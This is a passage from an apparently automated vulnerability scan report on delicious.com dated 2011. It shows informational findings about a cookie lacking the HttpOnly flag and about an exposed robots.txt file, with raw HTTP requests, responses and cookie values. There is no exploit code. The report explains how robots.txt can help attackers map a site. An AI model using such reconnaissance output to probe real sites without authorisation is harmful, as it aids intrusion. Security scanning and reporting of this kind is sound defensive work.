P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: searchTray=deleted; expires=Fri, 20-Aug-2010 23:12:04 GMT; path=/; domain=.delicious.com
Pragma: no-cache
Cache-Control: no-store, must-revalidate, no-cache, private, max-age=0, post-check=0, pre-check=0
X-Xss-Protection: 0
Expires: Sun, 1 Jan 2006 01:00:00 GMT
X-Ua-Compatible: IE=7
Set-Cookie: delicious_us_production=N8NpkqtEE7dYilPL6HA.VuB2tnIEX0wwl44uXtk4xsQ0c3_KaPdmtK3H3GldSdftq.FN48Om5M5901AHdQUA0UmsJgDAqxYKrJjr59_oTen83xb23wjcb9VkypBRmMOEAUNXvTsORSql_OUgUJU3EY4IwNI8IYqpknLFTKIif7QlMz_9XPeWfh8BV0m0MoPHgGpBwSYQyoLcF4DVG9ox0BIOKbv3Y7oX5r2NGVpRqa5k163ukNOnPTqNK2tSvV_YuGtUgSzwYrSluXVpDkudaVoRsPhHNGAjLhrLQ7z.STLf6lbDLCmu3S1.K2Oe0PJepASBsDzDKg4-; expires=Mon, 20-Aug-2012 23:12:05 GMT; path=/; domain=.delicious.com
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Age: 1
Proxy-Connection: keep-alive
Server: YTS/1.19.5
Content-Length: 12357

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta h
...[SNIP]...

5.2. http://www.delicious.com/searchsuggest  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.delicious.com
Path:   /searchsuggest

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /searchsuggest?query=xss.cx HTTP/1.1
Host: www.delicious.com
Proxy-Connection: keep-alive
Referer: http://www.delicious.com/search?p=xss.cx&chk=&fr=del_icio_us&lc=1&atags=&rtags=&context=all||
X-Requested-With: XMLHttpRequest, XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=74fg4m5750fq3&b=3&s=gj; delicious_us_production=j386RkJFE7cxQCrRG8f78ZhWKjq8VKVwPQhBmiQZT0SXuXyY86jcWgwtnFddt8tQCDJe2aIdUdu2z8MIIlC9p.YRPfKxfp.Z3xmmtEj9uc4MPMKOIuk79TcxW6.U4tutoniuovTrNE6SNnkOtPVaV1DfenYvJhahq.S3Y7iLEyZOYo43PSS9GNof_Kq3AsLAym.eKSXAl5.m6zAnw_iLCKobZkad2JQXvxvug1V.54ZfnUIwltIswycD9TjLL_IRhB8Y1YnzGrZk6zVwmwUyqfaO067NJ2A5NikpCTQlhZb_rKNsYQJP8xfAPMzRA70N3kcZFdF9Zm0-

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:12:24 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Pragma: no-cache
Cache-Control: no-store, must-revalidate, no-cache, private, max-age=0, post-check=0, pre-check=0
X-Xss-Protection: 0
Expires: Sun, 1 Jan 2006 01:00:00 GMT
X-Ua-Compatible: IE=7
Set-Cookie: delicious_us_production=3RTQoApZE7eQrtRWLdL.quzmCfdWXKZJl_ZG8ltWmJsYftfdgBPho1aXvN_tX_JXG7PhfnRMwtzXItL36T7KRtTOCVlk.amKGSOnkaIhUCY8xwRhqwFdpbz6KagZEDM.kJ5rrJVuunlfcG2gZ5cbcTDMExwrr_n2E.vJoniHOgaBQyf3CBIYB7YRiorUs.U2Km5NZOfYGJc6pl0YJ6rbfY60CbCEoM7rRN_vxO.cbpUT4rMmlGzU1vFM7_Y1Y7uZS45oM2ER90NdMPuiuQA5X1wU5imxOZp1c3Q8sv6wcQ6gY3cbfmI2L3sIu82ubREgCqnpJQTPgZo-; expires=Mon, 20-Aug-2012 23:12:24 GMT; path=/; domain=.delicious.com
Vary: Accept-Encoding
Content-Type: text/javascript; charset=utf-8
Age: 1
Proxy-Connection: keep-alive
Server: YTS/1.19.5
Content-Length: 89

{"gossip":{"qry":"xss.cx","i":"ckeLULSKQge0ycQmTCc2aA", "norm":"xss.cx", "results":[]}}

6. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.delicious.com
Path:   /search

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.delicious.com

Response

HTTP/1.0 200 OK
Date: Sat, 20 Aug 2011 23:12:06 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Cache-Control: max-age=2592000
Expires: Mon, 19 Sep 2011 23:12:06 GMT
Last-Modified: Mon, 16 May 2011 15:16:49 GMT
Accept-Ranges: bytes
Content-Length: 1236
Content-Type: text/plain; charset=utf-8
Age: 0
Server: YTS/1.19.5

User-agent: *
Disallow: /

User-agent: delicious-thumbnails
Allow: /


User-agent: Slurp
Allow: /
Disallow: /inbox
Disallow: /subscriptions
Disallow: /network
Disallow: /search
Disallow: /post
Disall
...[SNIP]...

Report generated by XSS.CX at Sat Aug 20 17:25:15 GMT-06:00 2011.